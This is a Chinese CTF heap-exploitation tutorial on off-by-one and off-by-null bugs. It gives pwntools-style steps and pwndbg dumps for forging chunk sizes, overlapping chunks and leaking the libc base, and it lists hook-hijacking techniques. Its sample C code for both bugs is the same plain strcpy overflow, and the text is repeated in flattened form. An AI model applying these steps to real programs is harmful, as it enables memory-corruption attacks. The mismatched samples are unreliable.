pwn的堆中如何使用off by one 和off by null的详细解析以及每一步的调试过程
字数 1397 2025-08-22 12:23:30

Off-by-One 和 Off-by-Null 漏洞详解与利用

1. Off-by-One 漏洞

1.1 漏洞介绍

Off-by-One 是一种常见的边界条件错误,发生在代码对数组或缓冲区的处理中。当程序在处理边界条件时犯了一个字节的错误,导致访问超出范围的内存时,就会产生这种漏洞。

1.2 漏洞机制

  • 通常发生在循环或字符串操作中,边界条件判断错误
  • 允许攻击者修改超出缓冲区边界的一个字节
  • 可能导致程序崩溃、数据损坏或执行任意代码

1.3 示例代码

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[10];
    // 漏洞:没有正确处理输入的长度
    strcpy(buffer, input);
}

int main() {
    char large_input[20] = "This is a long input";
    vulnerable_function(large_input);
    return 0;
}

1.4 堆利用详细过程

1.4.1 初始堆布局

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5aae7024e000
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x5aae7024e020
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk
Addr: 0x5aae7024e0c0
Size: 0x00 (with flag bits: 0x00)

1.4.2 创建堆块

add(0x18) #chunk0
add(0x10) #chunk1
add(0x90) #chunk2
add(0x10) #chunk3

1.4.3 利用Off-by-One修改size

edit(0, (0x18+1), b'a'*0x10 + p64(0x20) + p8(0xa1))

修改后堆布局:

0x5aae7024e000: 0x0000000000000000 0x0000000000000021
0x5aae7024e010: 0x6161616161616161 0x6161616161616161
0x5aae7024e020: 0x0000000000000020 0x00000000000000a1  <-- 修改为0xa1

1.4.4 伪造堆块结构

edit(2, 0x80, p64(0)*14 + p64(0xa0) + p64(0x21))

修改后堆布局:

0x5e99ad4010c0: 0x00000000000000a0 0x0000000000000021  <-- fake chunk

1.4.5 释放chunk1

delete(1)

chunk1进入unsorted bin:

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x56c56fb79020
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x7f589a7c4b78
bk: 0x7f589a7c4b78

1.4.6 重新申请chunk

add(0x90) #chunk overlap

1.4.7 恢复chunk2的size

edit(1, 0x20, p64(0)*2 + p64(0x20) + p64(0xa1))

1.4.8 释放chunk2泄露libc

delete(2)
show(1)
p.recv(0x20)
libcBase = u64(p.recv(6).ljust(8, b'\x00')) - 0x3c4b78

1.5 利用总结

  1. 通过Off-by-One修改chunk1的size字段
  2. 伪造chunk结构绕过检查
  3. 释放修改后的chunk进入unsorted bin
  4. 重新申请chunk造成堆块重叠
  5. 恢复原始size并释放另一个chunk
  6. 通过show功能泄露libc地址

2. Off-by-Null漏洞

2.1 漏洞介绍

Off-by-Null漏洞是指程序在处理数据时,错误地将一个字节设置为NULL(0x00)。这种漏洞通常发生在字符串操作中,当程序错误地截断字符串或没有正确处理字符串终止符时。

2.2 漏洞机制

  • 通常发生在字符串操作函数中
  • 错误地将一个字节设置为NULL
  • 在堆利用中,常用于修改size字段的最低字节为0

2.3 示例代码

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[10];
    // 漏洞:没有正确处理输入的长度
    strcpy(buffer, input);
}

int main() {
    char large_input[20] = "This is a long input";
    vulnerable_function(large_input);
    return 0;
}

2.4 利用方法

2.4.1 典型利用场景

  • 将size字段从0x100修改为0x00(清除了PREV_INUSE位)
  • 前一个chunk会被认为是free状态
  • 启用prev_size字段,可以伪造prev_size造成堆块重叠

2.4.2 利用条件

  • 适用于glibc 2.29以前的版本
  • unlink时没有检查prev_size与对应chunk大小是否一致

2.5 利用总结

  1. 通过Off-by-Null修改size字段的最低字节
  2. 清除PREV_INUSE位使前一个chunk被认为是free状态
  3. 伪造prev_size字段
  4. 利用unlink或其他技术造成堆块重叠
  5. 进一步实现信息泄露或控制流劫持

3. 防御措施

  1. 严格检查所有数组和缓冲区操作的边界条件
  2. 使用安全的字符串处理函数(如strncpy代替strcpy)
  3. 启用堆保护机制(如GNU libc的防护措施)
  4. 使用现代编译器的安全特性(如FORTIFY_SOURCE)
  5. 定期进行代码审计和安全测试

4. 扩展利用技术

  1. 结合unlink技术实现任意地址写
  2. 通过堆块重叠泄露敏感信息
  3. 劫持malloc_hook或free_hook控制程序流
  4. 利用tcache机制实现快速利用
  5. 结合其他漏洞(如UAF)实现更复杂的攻击

5. 参考工具

  1. pwndbg - 强大的GDB插件,用于堆调试
  2. gef - 另一个流行的GDB插件
  3. libc-database - 用于快速查找libc偏移
  4. one_gadget - 查找libc中的execve片段
  5. ropper - ROP链构造工具
Off-by-One 和 Off-by-Null 漏洞详解与利用 1. Off-by-One 漏洞 1.1 漏洞介绍 Off-by-One 是一种常见的边界条件错误,发生在代码对数组或缓冲区的处理中。当程序在处理边界条件时犯了一个字节的错误,导致访问超出范围的内存时,就会产生这种漏洞。 1.2 漏洞机制 通常发生在循环或字符串操作中,边界条件判断错误 允许攻击者修改超出缓冲区边界的一个字节 可能导致程序崩溃、数据损坏或执行任意代码 1.3 示例代码 1.4 堆利用详细过程 1.4.1 初始堆布局 1.4.2 创建堆块 1.4.3 利用Off-by-One修改size 修改后堆布局: 1.4.4 伪造堆块结构 修改后堆布局: 1.4.5 释放chunk1 chunk1进入unsorted bin: 1.4.6 重新申请chunk 1.4.7 恢复chunk2的size 1.4.8 释放chunk2泄露libc 1.5 利用总结 通过Off-by-One修改chunk1的size字段 伪造chunk结构绕过检查 释放修改后的chunk进入unsorted bin 重新申请chunk造成堆块重叠 恢复原始size并释放另一个chunk 通过show功能泄露libc地址 2. Off-by-Null漏洞 2.1 漏洞介绍 Off-by-Null漏洞是指程序在处理数据时,错误地将一个字节设置为NULL(0x00)。这种漏洞通常发生在字符串操作中,当程序错误地截断字符串或没有正确处理字符串终止符时。 2.2 漏洞机制 通常发生在字符串操作函数中 错误地将一个字节设置为NULL 在堆利用中,常用于修改size字段的最低字节为0 2.3 示例代码 2.4 利用方法 2.4.1 典型利用场景 将size字段从0x100修改为0x00(清除了PREV_ INUSE位) 前一个chunk会被认为是free状态 启用prev_ size字段,可以伪造prev_ size造成堆块重叠 2.4.2 利用条件 适用于glibc 2.29以前的版本 unlink时没有检查prev_ size与对应chunk大小是否一致 2.5 利用总结 通过Off-by-Null修改size字段的最低字节 清除PREV_ INUSE位使前一个chunk被认为是free状态 伪造prev_ size字段 利用unlink或其他技术造成堆块重叠 进一步实现信息泄露或控制流劫持 3. 防御措施 严格检查所有数组和缓冲区操作的边界条件 使用安全的字符串处理函数(如strncpy代替strcpy) 启用堆保护机制(如GNU libc的防护措施) 使用现代编译器的安全特性(如FORTIFY_ SOURCE) 定期进行代码审计和安全测试 4. 扩展利用技术 结合unlink技术实现任意地址写 通过堆块重叠泄露敏感信息 劫持malloc_ hook或free_ hook控制程序流 利用tcache机制实现快速利用 结合其他漏洞(如UAF)实现更复杂的攻击 5. 参考工具 pwndbg - 强大的GDB插件,用于堆调试 gef - 另一个流行的GDB插件 libc-database - 用于快速查找libc偏移 one_ gadget - 查找libc中的execve片段 ropper - ROP链构造工具